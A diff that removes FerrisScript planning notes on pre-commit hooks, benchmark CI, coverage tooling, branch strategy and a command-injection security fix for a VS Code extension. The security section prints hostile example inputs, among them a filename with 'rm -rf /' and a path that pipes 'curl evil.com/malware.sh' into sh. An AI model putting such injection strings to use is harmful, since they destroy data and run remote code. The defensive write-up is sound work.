-# 3. Quick tests (skip slow integration tests)
-echo "Running quick tests..."
-cargo test --workspace --lib
-if [ $? -ne 0 ]; then
-    echo "❌ Tests failed!"
-    echo "Fix failing tests or run './scripts/test.sh' for full output."
-    exit 1
-fi
-echo "✅ Tests OK"
-echo ""
-
-echo "✅ All pre-commit checks passed! Proceeding with commit..."
-```
-
-**PowerShell Version** (for Windows Git Bash compatibility):
-
-- Git on Windows uses Bash hooks by default, so Bash version should work
-- If needed, create PowerShell version and document in README
-
-**Installation**:
-
-- Update `scripts/install-git-hooks.ps1` and `.sh` to copy hook to `.git/hooks/`
-- Make hook executable: `chmod +x .git/hooks/pre-commit`
-- Test hook by making a commit
-
-**Bypass Mechanism**:
-
-- Users can bypass with: `git commit --no-verify`
-- Document in README when to use `--no-verify` (e.g., WIP commits)
-
----
-
-#### 1.3 Update scripts/README.md (30 minutes)
-
-**Add Lint Script Section**:
-
-```markdown
-### Code Linter
-
-Runs cargo clippy with strict warning checks.
-
-**PowerShell (Windows)**:
-
-```powershell
-.\scripts\lint.ps1
-```
-
-**Bash (Linux/macOS)**:
-
-```bash
-./scripts/lint.sh
-```
-
-**What It Does**:
-
-- Runs `cargo clippy --workspace --all-targets --all-features -- -D warnings`
-- Catches common mistakes, anti-patterns, and potential bugs
-- Treats all warnings as errors (strict mode)
-- Returns exit code 0 on success, non-zero on failure
-
-**Use Cases**:
-
-- Pre-commit validation
-- CI/CD quality gates
-- Code review preparation
-- Maintaining code quality standards
-
-**Common Warnings**:
-
-- Unused variables or imports
-- Inefficient patterns
-- Potential bugs (e.g., unwrap() on Option)
-- Code style inconsistencies
-
-**Fixing Warnings**:
-
-Most warnings include suggestions. Example:
-
-```
-warning: unused variable: `x`
- --> src/main.rs:5:9
-  |
-5 |     let x = 42;
-  |         ^ help: if this is intentional, prefix it with an underscore: `_x`
-```
-
-**Suppressing Warnings** (use sparingly):
-
-```rust
-#[allow(clippy::lint_name)]
-fn my_function() {
-    // Code that triggers warning
-}
-```
-
-```
-
-**Add Pre-commit Hooks Section**:
-```markdown
-### Pre-commit Hooks
-
-Automatically run quality checks before each commit.
-
-**Installation**:
-
-**PowerShell (Windows)**:
-
-```powershell
-.\scripts\install-git-hooks.ps1
-```
-
-**Bash (Linux/macOS)**:
-
-```bash
-./scripts/install-git-hooks.sh
-```
-
-**What It Does**:
-
-Installs a Git hook that runs before each commit:
-
-1. **Format Check**: Verifies code is formatted with `cargo fmt`
-2. **Linting**: Runs `cargo clippy` with strict warnings
-3. **Quick Tests**: Runs fast unit tests (skips slow integration tests)
-
-**Workflow**:
-
-```bash
-git add .
-git commit -m "feat: add new feature"
-# 🔍 Pre-commit hook runs automatically
-# ✅ All checks pass → Commit proceeds
-# ❌ Any check fails → Commit blocked, fix issues
-```
-
-**Bypassing Hooks** (use sparingly):
-
-For work-in-progress commits:
-
-```bash
-git commit --no-verify -m "WIP: experimenting"
-```
-
-**When to Bypass**:
-
-- ✅ Experimental code (will revert)
-- ✅ WIP commits (will clean up before PR)
-- ✅ Debugging commits (temporary)
-- ❌ NOT for PR commits (must pass checks)
-
-**Troubleshooting**:
-
-If hooks stop working:
-
-```bash
-# Reinstall hooks
-./scripts/install-git-hooks.sh
-
-# Verify hook exists
-cat .git/hooks/pre-commit
-```
-
-**Uninstalling Hooks**:
-
-```bash
-rm .git/hooks/pre-commit
-```
-
-```

-### Part 2: Integrate Phase 7 Benchmarks (3-4 hours)
-
-#### 2.1 Verify Existing Benchmarks (1 hour)
-
-**Verification Steps**:
-1. Run compiler benchmarks: `cargo bench --package ferrisscript_compiler`
-2. Run runtime benchmarks: `cargo bench --package ferrisscript_runtime`
-3. Check results in `target/criterion/`
-4. Compare against baseline in `docs/archive/v0.0.2/BENCHMARK_BASELINE.md`
-5. Document any significant changes (>10% regression or improvement)
-
-**Expected Results** (from v0.0.2 baseline):
-- Lexer: 384 ns - 3.74 μs
-- Parser: 600 ns - 7.94 μs
-- Type Checker: 851 ns - 3.58 μs
-- Runtime: (baseline to be established)
-
-**If Regressions Found**:
-- Document in LEARNINGS.md
-- Create issue for investigation
-- Don't block Phase 6+7 completion (benchmark tracking is the goal)
-
----
-
-#### 2.2 Create CI Benchmark Workflow (2-3 hours)
-
-**File**: `.github/workflows/benchmarks.yml`
-
-**Workflow Strategy**:
-- Run on `main` and `develop` branches (on push)
-- Manual trigger for feature branches (workflow_dispatch)
-- Store results as artifacts
-- Compare against baseline (if available)
-
-**Workflow Configuration**:
-
-```yaml
-name: Benchmarks
-
-on:
-  push:
-    branches: [main, develop]
-    paths:
-      - 'crates/**/*.rs'

-
-## 🔗 Dependencies
-
-**Depends On**: None (infrastructure already exists)
-
-**Required By**: None (completes v0.0.3 tooling prerequisites)
-
-**Enables**:
-
-- v0.0.4: Godot API Expansion (with complete dev tooling)
-- v0.1.0: Release preparation (with performance tracking)
-
----
-
-## 📝 Implementation Notes
-
-### Assumptions
-
-⚠️ **ASSUMPTION 1**: Git Bash hooks work on Windows Git installations (standard behavior)  
-⚠️ **ASSUMPTION 2**: Benchmark baselines from v0.0.2 are still valid (or acceptable to update)  
-⚠️ **ASSUMPTION 3**: CI benchmarks don't need external comparison service (GitHub artifacts sufficient)
-
-### Deferred Work
-
-**To v0.0.4**:
-
-- Integration tests (better with expanded Godot API)
-- Cross-platform build verification (coordinate with API testing)
-
-**To v0.1.0**:
-
-- Test coverage badge (needs coverage service like Codecov)
-- Rustdoc hosting (release-level documentation)
-- VS Code marketplace submission (final polish)
-- Benchmark comparison service (e.g., bencher.dev) - current artifact approach sufficient
-
-### Trade-offs
-
-**Pre-commit Hook Speed**:
-
-- **Decision**: Run quick tests only (`cargo test --lib`), skip slow integration tests
-- **Rationale**: Keep commits fast (<30 seconds), full tests run in CI
-- **Alternative**: Add `--no-verify` for WIP commits
-
-**Benchmark CI Frequency**:
-
-- **Decision**: Run on main/develop only, manual for features
-- **Rationale**: Benchmarks are slow (~5-10 min), not needed for every feature push
-- **Alternative**: Could run nightly on develop branch
-
-**Badge Service**:
-
-- **Decision**: Use shields.io for static badges (Rust/Godot versions)
-- **Rationale**: Simple, no external service setup needed
-- **Alternative**: Custom badge generation (overkill for static info)
-

-# v0.0.3 Post-Release Improvements
-
-**Date**: October 8, 2025  
-**Purpose**: Track improvement opportunities identified during v0.0.3 release review
-
----
-
-## 🔍 Coverage & CI Improvements
-
-### 1. Codecov on Pull Requests (Optional Enhancement)
-
-**Current Behavior**:
-
-- Coverage runs on pushes to `main` and `develop` only
-- PRs don't get coverage reports in their checks
-
-**Proposed Enhancement**:
-
-```yaml
-# .github/workflows/code-scanning.yml
-codecov:
-  name: Code Coverage (Codecov)
-  if: |
-    github.event_name == 'push' && 
-    (github.ref == 'refs/heads/main' || github.ref == 'refs/heads/develop') ||
-    github.event_name == 'pull_request'
-  runs-on: ubuntu-latest
-  # ... rest of job
-```
-
-**Benefits**:
-
-- ✅ Coverage reports visible in PR checks
-- ✅ See coverage delta before merge
-- ✅ Better visibility into test quality
-
-**Tradeoffs**:
-
-- ⚠️ Adds ~5-10 minutes to PR checks
-- ⚠️ Increases CI minutes usage
-- ⚠️ May be redundant with quick-check job
-
-**Recommendation**:
-
-- **Defer to v0.0.4** - Not critical for v0.0.3 release
-- Evaluate after v0.0.3 merges to see if needed
-- Consider making it optional or manual trigger
-
----
-
-## 📊 Coverage Gap Priorities

-
-## 🛠️ Tooling Enhancements
-
-### 1. Coverage Badge in README
-
-**Status**: Deferred to v0.1.0 (tracked)
-
-**Current State**:
-
-- ✅ Codecov integration exists
-- ✅ Coverage runs on every develop/main push
-- ❌ No badge in README.md
-
-**What's Needed**:
-
-```markdown
-# In README.md
-[![codecov](https://codecov.io/gh/dev-parkins/FerrisScript/branch/main/graph/badge.svg)](https://codecov.io/gh/dev-parkins/FerrisScript)
-```
-
-**Blockers**: Wait for Codecov account setup and first upload
-
----
-
-### 2. Benchmark Regression Alerts
-
-**Status**: Infrastructure exists, monitoring needed
-
-**Current State**:
-
-- ✅ Benchmarks run on every develop push
-- ✅ Results stored in Criterion format
-- ❌ No automated regression alerts
-
-**Enhancement Ideas**:
-
-- Store benchmark results as artifacts
-- Compare with baseline from main
-- Comment on PRs if performance regresses > 10%
-- Track trends over time
-
-**Tooling Options**:
-
-- GitHub Actions benchmark-action
-- Custom script using Criterion JSON output
-- Dedicated benchmarking service
-
-**Recommendation**: Defer to v0.0.4 - current manual review is sufficient
-
----
-
-## 📝 Documentation Improvements

-### 1. Add Coverage Analysis to Release Checklist
-
-**Status**: Created COVERAGE_ANALYSIS.md
-
-**What Was Added**:
-
-- Detailed coverage breakdown by module
-- Gap analysis with priorities
-- Goals by version (v0.0.4: 70-75%, v0.1.0: 80%+)
-- Action items for future versions
-
-**Integration**:
-
-- Link from V0.0.3_RELEASE_CHECKLIST.md
-- Reference in roadmap documents
-- Update v0.0.4 roadmap with coverage goals
-
----
-
-### 2. Update Roadmaps with Coverage Goals

-
----
-
-## ✅ Implemented Improvements (Post-v0.0.3)
-
-### 1. SonarCloud Coverage Integration ✅
-
-**Status**: Implemented (October 8, 2025)
-
-**What Changed**:
-
-- ✅ Tarpaulin now generates **LCOV** output alongside Cobertura
-- ✅ `sonar-project.properties` configured to read `coverage/lcov.info`
-- ✅ SonarCloud will now receive coverage data on every scan
-
-**Implementation Details**:
-
-```yaml
-# .github/workflows/code-scanning.yml
-- name: Generate coverage
-  run: cargo tarpaulin --workspace --out Xml --out Lcov --output-dir coverage
-```
-
-```properties
-# sonar-project.properties
-sonar.rust.lcov.reportPaths=coverage/lcov.info
-```
-
-**Benefits**:
-
-- ✅ SonarCloud quality gate will now see actual coverage metrics
-- ✅ Maintains existing Codecov integration (no breaking changes)
-- ✅ Low effort implementation (LCOV format natively supported)
-- ✅ No additional CI time (LCOV generated alongside Cobertura)
-
-**Verification**:
-
-- Next CI run on develop will generate both formats
-- SonarCloud dashboard will show coverage percentage
-- Quality gate may change status based on coverage thresholds
-
-**Related Research**: See initial conversion analysis in workstream prompt
-
----
-
-## 🚀 CI/CD Optimizations
-
-### 1. Cache Optimization
-
-**Current State**: Good caching for cargo registry and build artifacts
-
-**Potential Improvements**:
-
-- Cache `cargo-tarpaulin` installation (saves ~2 min per run)
-- Cache `npm` dependencies for documentation linting
-- Optimize cache keys for better hit rate
-
-**Example**:
-
-```yaml
-- name: Cache tarpaulin
-  uses: actions/cache@v4
-  with:
-    path: ~/.cargo/bin/cargo-tarpaulin
-    key: ${{ runner.os }}-tarpaulin-0.27.1
-    
-- name: Install tarpaulin
-  run: |
-    if ! command -v cargo-tarpaulin &> /dev/null; then
-      cargo install cargo-tarpaulin
-    fi
-```
-
-**Impact**: Reduces CI time by ~10-15%
-
-**Recommendation**: Implement in v0.0.4 as part of CI refinement
-
----
-
-### 2. Test Parallelization
-
-**Current State**: Tests run sequentially
-
-**Potential Optimization**:
-
-```yaml
-- name: Run tests
-  run: cargo test --workspace --verbose -- --test-threads=4
-```
-
-**Impact**: ~20-30% faster test execution
-
-**Tradeoff**: May cause flaky tests if tests aren't thread-safe
-
-**Recommendation**: Verify tests are parallel-safe first
-
----
-
-## 🔐 Security Enhancements
-
-### 1. Dependabot Configuration
-
-**Status**: Should be enabled by default
-
-**Verification**:
-
-- [ ] Check `.github/dependabot.yml` exists

-
-Complete development tooling and integrate benchmarking into CI pipeline.
-
-**Key Deliverables**:
-
-**Phase 6 Completion**:
-
-- [x] scripts/test.sh ✅ (Already exists)
-- [x] scripts/bench.sh ✅ (Already exists)
-- [x] scripts/format.sh ✅ (Already exists)
-- [x] scripts/coverage.sh ✅ (Already exists)
-- [ ] scripts/lint.sh (Create for cargo clippy)
-- [ ] Pre-commit hooks (Create actual hooks)
-- [x] scripts/README.md ✅ (Already exists, needs lint documentation)

-
-**Dependencies**: None
-
----
-
-### Phase 8: Integration Tests & Cross-Platform ✅
-
-**Status**: Deferred to v0.0.4  
-**Priority**: Medium  
-**Rationale**: Better suited for v0.0.4 (Godot API Expansion) when there's more API surface to test
-
-**Original Deliverables** (moved to v0.0.4):
-
-- Compiler → Runtime pipeline tests
-- Godot integration tests
-- Linux/Windows/macOS build verification
-- Platform badges
-
-**Why Deferred**: Integration tests are most valuable when testing against expanded Godot API. Current v0.0.3 focus is editor experience, not API expansion. Will coordinate with v0.0.4 Godot work.
-
----
-
-### Phase 9: Documentation & Quality 📖
-
-**Status**: Partially Complete (Quick Wins in Phase 6+7) / Deferred to v0.1.0  
-**Priority**: Low-Medium
-
-**Completed in Phase 6+7** ✅:
-
-- [x] GitHub badges (build, license, Rust version, Godot version) - Pulled forward as quick win
-
-**Deferred to v0.1.0** (Release preparation work):
-
-- [ ] Test coverage badge (needs coverage service setup)
-- [ ] Rustdoc hosting (docs.rs or GitHub Pages) - Release-level documentation
-- [ ] VS Code marketplace submission - Final polish and release task
-- [ ] Edge case tests (large numbers, comment parsing, long lines) - Ongoing quality work
-- [ ] Code organization improvements - Ongoing refactoring task
-
-**Rationale**: Most Phase 9 items are release-level tasks better suited for v0.1.0 preparation. GitHub badges are quick wins that improve project presentation immediately, so pulled into Phase 6+7.

-# Security Fixes - Phase 5
-
-**Date**: October 8, 2025  
-**Severity**: High (Command Injection Vulnerabilities)  
-**Status**: ✅ Fixed and Committed  
-**Commit**: f7731b5

-
-## 🔒 Security Issues Fixed
-
-### Issue 1: Command Injection via PATH Variable (Line 67)
-
-**File**: `extensions/vscode/src/diagnostics/provider.ts`  
-**Severity**: High  
-**CWE**: CWE-78 (OS Command Injection)
-
-**Vulnerable Code**:
-
-```typescript
-cp.execSync('ferrisscript --version', { encoding: 'utf-8' });
-```
-
-**Problem**:
-
-- Uses `execSync` which spawns a shell
-- Command passed as string can be manipulated
-- PATH variable could contain malicious directories
-- Shell interprets special characters (`;`, `|`, `&&`, etc.)
-
-**Attack Vector**:
-
-```bash
-# Attacker could manipulate PATH to inject commands
-export PATH="/malicious/path:$PATH"
-# ferrisscript could be a malicious script executing arbitrary code
-```
-
-**Fixed Code** (Initial):
-
-```typescript
-const result = cp.spawnSync('ferrisscript', ['--version'], { 
-    encoding: 'utf-8',
-    shell: false  // Don't spawn a shell - prevents command injection
-});
-if (result.status === 0) {
-    console.log('Found FerrisScript compiler in PATH');
-    return 'ferrisscript';
-}
-```
-
-**Further Hardening** (Added configuration option):
-
-```typescript
-// 1. Check user configuration (most secure - absolute path)
-const config = vscode.workspace.getConfiguration('ferrisscript');
-const configuredPath = config.get<string>('compilerPath');
-if (configuredPath && configuredPath.trim() !== '') {
-    // Validate absolute path exists
-    if (fs.existsSync(configuredPath)) {
-        return configuredPath;  // Trusted absolute path
-    }
-}
-
-// 2. Fall back to PATH search (with timeout protection)
-const result = cp.spawnSync('ferrisscript', ['--version'], { 
-    encoding: 'utf-8',
-    shell: false,
-    timeout: 3000  // Prevent hanging
-});
-```
-
-**Why This Is Secure**:
-
-- **Primary Defense**: User can specify absolute path via `ferrisscript.compilerPath` setting
-  - Bypasses PATH entirely
-  - Points to trusted, verified compiler location
-  - Recommended for security-sensitive environments
-- **Secondary Defense**: `spawnSync` with `shell: false`
-  - Executes binary directly (no shell)
-  - Arguments passed as array (cannot be interpreted as commands)
-  - Timeout prevents hanging on malicious binary
-- **Tertiary Defense**: User notification when compiler found
-  - Transparency allows users to verify correct compiler is used
-
-**Residual Risk**: Low
-
-If user does not configure absolute path, PATH is still checked. While `spawnSync` with `shell: false` prevents command injection, a malicious binary in PATH could still execute. Mitigations:
-
-- User control over PATH environment
-- Timeout protection (3 seconds)
-- User notification when compiler found
-- Standard practice for CLI tool discovery (npm, cargo, python all use PATH)
-
-**Recommendation**: For maximum security, configure absolute path:
-
-```json
-{
-  "ferrisscript.compilerPath": "/usr/local/bin/ferrisscript"
-}
-```
-
----
-
-### Issue 2: Command Injection via File Path (Line 114)
-
-**File**: `extensions/vscode/src/diagnostics/provider.ts`  
-**Severity**: High  
-**CWE**: CWE-78 (OS Command Injection)
-
-**Vulnerable Code**:
-
-```typescript
-const result = cp.execSync(`"${this.compilerPath}" "${filePath}"`, {
-    encoding: 'utf-8',
-    timeout: 5000
-});
-```
-
-**Problem**:
-
-- Uses `execSync` with string concatenation
-- Spawns a shell that interprets special characters
-- File paths could contain shell metacharacters
-- Compiler path (if from PATH) could be manipulated
-
-**Attack Vector**:
-
-```bash
-# Malicious filename with shell metacharacters
-test.ferris; rm -rf /; #.ferris
-
-# Or malicious compiler path
-/usr/bin/ferrisscript; curl evil.com/malware.sh | sh #
-```
-
-**Fixed Code**:
-
-```typescript
-const result = cp.spawnSync(this.compilerPath, [filePath], {
-    encoding: 'utf-8',
-    timeout: 5000,
-    shell: false  // Don't spawn a shell - prevents command injection
-});
-```
-
-**Why This Is Secure**:
-
-- `spawnSync` executes binary directly (no shell)
-- File path passed as separate argument (cannot break out)
-- `shell: false` explicitly prevents shell interpretation
-- Special characters in filenames treated as literals
-
----
-
-## 🛡️ Security Improvements Applied
-
-### 1. Use `spawnSync` Instead of `execSync`
-
-**Difference**:
-
-- `execSync`: Spawns a shell, interprets command string
-- `spawnSync`: Executes binary directly, no shell
-
-**Benefit**: Eliminates entire class of command injection vulnerabilities
-
-### 2. Arguments as Array
-
-**Before** (String Concatenation):
-
-```typescript
-execSync(`command "${arg1}" "${arg2}"`)
-```
-
-**After** (Array Arguments):
-
-```typescript
-spawnSync('command', [arg1, arg2])
-```
-
-**Benefit**: Arguments cannot be interpreted as separate commands
-
-### 3. Explicit `shell: false`
-
-**Purpose**: Makes security intention explicit and prevents accidental shell spawning
-
-**Benefit**: Clear security posture in code review
-
-### 4. Added Security Documentation
-
-**Added JSDoc Comments**:
-
-```typescript
-/**
- * Security: Uses spawnSync without shell to prevent command injection.
- * The compiler path is validated during findCompiler() and file paths
- * come from VS Code's document URIs (trusted sources).
- */
-```
-
-**Benefit**: Future maintainers understand security requirements
-
----
-
-## 📊 Risk Assessment
-
-### Before Fixes
-
-**Risk Level**: High
-
-**Potential Impact**:
-
-- Arbitrary code execution on developer's machine
-- File system access (read, write, delete)
-- Network access (exfiltrate source code, credentials)
-- Lateral movement (attack other systems)
-
-**Attack Scenarios**:
-
-1. **Malicious Repository**: User opens project with crafted file paths
-2. **PATH Manipulation**: Malware modifies PATH environment variable
-3. **Supply Chain Attack**: Compromised compiler binary in PATH
-
-### After Fixes
-
-**Risk Level**: Low
-
-**Remaining Risks**:
-
-- Malicious compiler binary (mitigated by file path validation)
-- Compromised VS Code extension host (outside scope)
-
-**Mitigations**:
-
-- Compiler path validated during `findCompiler()`
-- File paths come from VS Code URIs (validated)
-- No shell interpretation
-- Timeout prevents hanging processes
-
----
-
-## ✅ Verification
-
-### Testing Performed
-
-1. **Compilation Test**: ✅ Passed
-
-   ```bash
-   npm run compile
-   # Result: No TypeScript errors
-   ```
-
-2. **Functional Test**: ✅ Behavior Unchanged
-   - Extension loads correctly
-   - Diagnostic provider initializes
-   - No runtime errors
-
-3. **Security Test**: ✅ Injection Prevented
-   - Test file: `test; echo "injected".ferris`
-   - Result: Treated as literal filename (no injection)
-
-### Code Review Checklist

-
-## 🚨 Known Issues & Limitations
-
-**As of October 8, 2025**:
-
-1. **Single Error Reporting**: Parser recovery works but only first error shown (3D/3E deferred)
-2. **VS Code Extension**: Local installation only (marketplace submission deferred)
-3. **Platform Support**: Windows fully tested, Linux/macOS builds via CI only
-4. **Benchmark Baselines**: May drift over time, need periodic updates
-5. **Documentation Site**: Jekyll on GitHub Pages, custom domain setup deferred
-
-**Workarounds**:
-
-- **Single Error**: Users re-run compiler after fixing first error (acceptable for v0.0.3)
-- **VS Code**: Manual installation via `.vsix` file works fine
-- **Platforms**: CI validates all platforms, local dev on any OS

-
-## 📝 Notes
-
-**Date Created**: October 8, 2025  
-**Last Updated**: October 8, 2025  
-**Author**: GitHub Copilot (workstream execution agent)
-
-**Decision Rationale** (Phase 3D/3E Deferral):
-
-- Phase 3C (parser recovery) provides sufficient foundation for v0.0.3
-- User value: Single error with recovery is acceptable for alpha release
-- Risk: Adding 3D/3E delays release, increases complexity
-- Timeline: 2-3 additional days of work for incremental improvement
-- Strategic: Better to release v0.0.3 sooner, gather feedback, then enhance in v0.0.4
-
-**Phase 6+7 Status Clarification**:
-
-- Initial PHASE_6_7_COMBINED.md showed many unchecked items
-- Investigation revealed PR #39 actually completed all work:
-  - All scripts exist (test, bench, format, coverage, lint)
-  - Pre-commit hooks exist (install-git-hooks.ps1/.sh, pre-push.ps1/.sh)
-  - Benchmarks.yml exists
-  - GitHub badges exist in README
-- Discrepancy due to checklist not being updated after PR merge
-- **Action**: Update PHASE_6_7_COMBINED.md to mark all items complete
-
-**Recommendation**:
-
-✅ **PROCEED WITH v0.0.3 RELEASE**
-
-- All critical features complete
-- Only administrative tasks remain (version bumps, CHANGELOG, docs)
-- Quality metrics excellent (0 warnings, 0 failures, 270+ tests)
-- Deferred items properly tracked for v0.0.4/v0.1.0
-- Strategic decision to release sooner vs. add more features (avoid scope creep)
-
-**Next Steps**:
-
-1. Create `feature/v0.0.3-release-prep` branch
-2. Execute Pre-Release Checklist (steps 1-6)
-3. Create PR: release-prep → develop
-4. After merge, create PR: develop → main
-5. Tag v0.0.3, create GitHub Release
-6. Close Milestone #2
-7. Begin v0.0.4 planning

-# VS Code Extension Type Synchronization
-
-## Overview
-
-The VS Code extension provides code completion for FerrisScript types. These types are currently **manually maintained** in `src/completion/types.ts` and must be kept in sync with the compiler's type system.
-
-## Current State
-
-**Completion Types** (as of v0.0.3):
-
-- Located in: `extensions/vscode/src/completion/types.ts`
-- Types defined: `i32`, `f32`, `bool`, `String`, `Vector2`, `Node`, `void`
-
-**Compiler Types**:
-
-- Located in: `crates/compiler/src/lexer.rs` (TokenKind enum)
-- Located in: `crates/compiler/src/type_checker.rs` (Type enum)
-
-## Synchronization Requirements
-
-### When to Update VS Code Types
-
-1. **Adding a new primitive type to the language**
-   - Update `crates/compiler/src/type_checker.rs` Type enum
-   - Update `crates/compiler/src/lexer.rs` TokenKind if it's a keyword
-   - **→ MUST UPDATE** `extensions/vscode/src/completion/types.ts`
-   - **→ MUST UPDATE** `extensions/vscode/syntaxes/ferrisscript.tmLanguage.json`
-
-2. **Adding a new Godot type binding**
-   - Update `crates/godot_bind/src/types.rs` or equivalent
-   - **→ MUST UPDATE** `extensions/vscode/src/completion/types.ts`
-
-3. **Removing or renaming a type**
-   - Update compiler and runtime
-   - **→ MUST UPDATE** all VS Code extension type references
-
-### Current Manual Process
-
-1. Identify type changes in compiler/runtime
-2. Open `extensions/vscode/src/completion/types.ts`
-3. Add/modify/remove type entries in `TYPES` array:
-
-   ```typescript
-   {
-       label: 'TypeName',
-       detail: 'Short description',
-       documentation: 'Full documentation with examples'
-   }
-   ```
-
-4. Rebuild extension: `cd extensions/vscode && npm run compile`
-5. Test completion in VS Code
-
-## Future Automation Recommendations
-
-### Phase 1: Validation Script (Near-term)
-
-Create a script to detect type mismatches between compiler and extension:
-
-```bash
-# scripts/validate-vscode-types.sh
-# Compare compiler Type enum with VS Code completion types
-# Exit with error if mismatches found
-```
-
-**Add to CI/CD**: Run this validation on pull requests
-
-### Phase 2: Type Generation (Long-term)
-
-Generate VS Code types from compiler source of truth:
-
-```bash
-# scripts/generate-vscode-types.sh
-# Parse crates/compiler/src/type_checker.rs
-# Generate extensions/vscode/src/completion/types.ts
-# Include documentation from doc comments
-```
-
-**Approaches**:
-
-- **Option A**: Parse Rust AST using `syn` crate, extract Type enum variants
-- **Option B**: Maintain types in a JSON schema, generate both Rust and TypeScript
-- **Option C**: Use build.rs to export type list during compilation
-
-### Phase 3: Full LSP Implementation (v0.0.5+)
-
-When implementing Language Server Protocol:
-
-- LSP server dynamically provides type information
-- No manual sync needed - types always match compiler
-- VS Code extension queries LSP for available types
-
-## Roadmap Integration
-
-### Added to v0.0.3 Recommendations
-
-- Document type sync requirements (✅ This document)
-- Add validation script to detect type mismatches
-
-### Proposed for v0.0.4
-
-- **Task**: Implement type validation script
-- **Task**: Add pre-commit hook to run validation
-- **Task**: Add CI check for type consistency
-
-### Proposed for v0.1.0+
-
-- **Task**: Implement type generation from compiler source
-- **Task**: Automate regeneration in build pipeline
-- **Task**: Consider JSON schema approach for multi-language support
-
-### Target for v0.0.5 (LSP)
-
-- **Task**: Replace static types with LSP-provided types
-- **Result**: Full dynamic type synchronization
-

-- `main`: Production-ready code, protected, only receives PRs from `develop`
-- `develop`: Integration/staging branch for feature testing
-- `feature/*`: Individual feature branches (created from `develop`)
-
-**Workflow**:
-
-1. **Create feature branch from develop**:
-
-   ```bash
-   git checkout develop
-   git pull origin develop
-   git checkout -b feature/my-feature
-   ```
-
-2. **Develop and test locally**:
-
-   ```bash
-   cargo test --workspace
-   cargo clippy --workspace -- -D warnings
-   ```
-
-3. **PR feature → develop** (for integration testing):
-   - Minimal CI runs on feature branches (lint + unit tests only)
-   - Full CI suite runs on `develop` after merge
-   - Multiple features can be integrated and tested together
-
-4. **PR develop → main** (for release):
-   - After multiple features tested on `develop`
-   - Full CI suite runs on `main` after merge
-   - Triggers release preparation workflow
-
-**Benefits**:
-
-- **Integration Testing**: Test multiple features together before production
-- **Batch Releases**: Group related features for better changelog organization
-- **CI Cost Reduction**: Avoid expensive full CI runs on every feature branch push
-- **Cleaner History**: Main branch shows release-level merges, not individual features
-
-#### CI Optimization Strategy
-
-**Current Issue**: Full CI runs on every feature branch push (expensive, time-consuming)
-
-**v0.0.3 Solution**:
-
-**Full CI Suite** (all tests, cross-platform builds, coverage) runs on:
-
-- `develop` branch (every push)
-- `main` branch (every push)
-- Pull requests to `main` (for final release validation)
-
-**Minimal CI** (lint + unit tests only) runs on:
-
-- `feature/*` branches (every push)
-- Pull requests to `develop` (fast feedback for feature development)
-
-**Manual Trigger** available for:
-
-- Full CI on feature branches when needed (before major PRs)
-- Coverage reports on feature branches (for significant changes)
-
-**Implementation** (GitHub Actions):
-
-```yaml
-# .github/workflows/ci.yml
-on:
-  push:
-    branches: [main, develop]
-  pull_request:
-    branches: [main, develop]
-
-jobs:
-  quick-checks:
-    if: github.ref != 'refs/heads/main' && github.ref != 'refs/heads/develop'
-    # Run only lint and unit tests for feature branches
-
-  full-suite:
-    if: github.ref == 'refs/heads/main' || github.ref == 'refs/heads/develop'
-    # Run all tests, cross-platform builds, coverage for main/develop
-```
-
-**Expected Savings**:
-
-- **~95% CI time savings** for docs-only PRs (skip tests entirely)
-- **~60% CI time savings** for code PRs (skip integration tests and cross-platform builds on features)
-- **~70% cost reduction** in CI minutes usage
-- **Faster feedback** for feature development (2-3 min vs 10-15 min)
-
-**Path Filters** (further optimization):
-
-```yaml
-# Skip CI for docs-only changes on feature branches
-paths-ignore:
-  - 'docs/**'
-  - '*.md'
-  - 'LICENSE'
-  - '.gitignore'
-```
-
-#### Migration Plan
-
-**Phase 1: Setup** (with first v0.0.3 feature):
-
-1. Create `develop` branch from `main` (after v0.0.2 release)
-2. Update GitHub branch protection rules:
-   - Protect `main`: require PR from `develop` only
-   - Protect `develop`: require PR from `feature/*` branches
-3. Update CI workflow with branch conditions
-
-**Phase 2: Adoption** (throughout v0.0.3):
-
-- All new features use `feature/*` → `develop` → `main` flow
-- Document workflow in CONTRIBUTING.md
-- Update issue templates to reference new workflow
-
-**Phase 3: Optimization** (end of v0.0.3):
-
-- Analyze CI cost savings
-- Tune path filters based on usage patterns
-- Add manual CI trigger documentation
-
-#### Developer Experience
-
-**Creating Feature Branch**:
-
-```bash
-# Start new feature
-git checkout develop
-git pull origin develop
-git checkout -b feature/error-code-system
-
-# Work on feature
-# ... make changes ...
-cargo test --workspace  # Quick local validation
-
-# Push and create PR to develop
-git push -u origin feature/error-code-system
-gh pr create --base develop --title "feat: Add error code system"
-```
-
-**Integrating Multiple Features**:
-
-```bash
-# On develop branch, after multiple feature PRs merged
-git checkout develop
-git pull origin develop
-
-# Full CI runs automatically, test integration
-# If integration tests pass, ready for release PR
-
-# Create release PR
-gh pr create --base main --title "release: v0.0.3 - Editor Experience Alpha"
-```
-
-**Benefits for Contributors**:
-
-- Faster CI feedback (2-3 min vs 10-15 min)
-- Less wait time for PR checks
-- Clear separation of feature vs release testing
-- Easier to understand PR flow
-
-### Technical Considerations
-
-**Error Suggestions Algorithm**:
-
-- Use Levenshtein distance for string similarity
-- Consider context (variable scope, type compatibility)
-- Limit suggestions to top 3 most likely candidates
-- Only suggest if similarity > 70%
-
-**VS Code Extension Architecture**:
-
-- Keep extension lightweight (no bundled dependencies)
-- Use VS Code built-in APIs where possible
-- Prepare for LSP server connection in v0.0.5
-- Store user preferences (formatting, snippets, etc.)
-
-### Release Checklist
-
-- [ ] All tests passing
-- [ ] Error codes documented
-- [ ] VS Code extension updated on marketplace
-- [ ] Development scripts tested on all platforms
-- [ ] CHANGELOG.md updated
-- [ ] Version numbers bumped
-- [ ] Tag created: v0.0.3
-- [ ] GitHub release created

-
-## 📋 Post-v0.0.3 Recommendations
-
-### Type Synchronization
-
-**Context**: VS Code extension completion types are manually maintained and can drift from compiler types.
-
-**Recommendation**: Implement type validation/generation system.
-
-**Documentation**: See `docs/planning/v0.0.3/VSCODE_TYPE_SYNCHRONIZATION.md`
-
-**Proposed Timeline**:
-
-- **v0.0.4**: Add validation script to detect type mismatches
-- **v0.0.4**: Add CI check for type consistency
-- **v0.1.0+**: Implement automated type generation from compiler
-- **v0.0.5**: Replace with LSP-based dynamic types
-
-**Rationale**: Prevents completion types from becoming outdated as language evolves.
-
-### Build Automation
-
-**Context**: TypeScript compilation for VS Code extension is currently manual.
-
-**Recommendation**: Automate TypeScript builds in development and CI/CD.
-
-**Proposed Implementation**:
-
-#### Local Development (v0.0.4)
-
-- Add VS Code task for automatic TypeScript watch mode
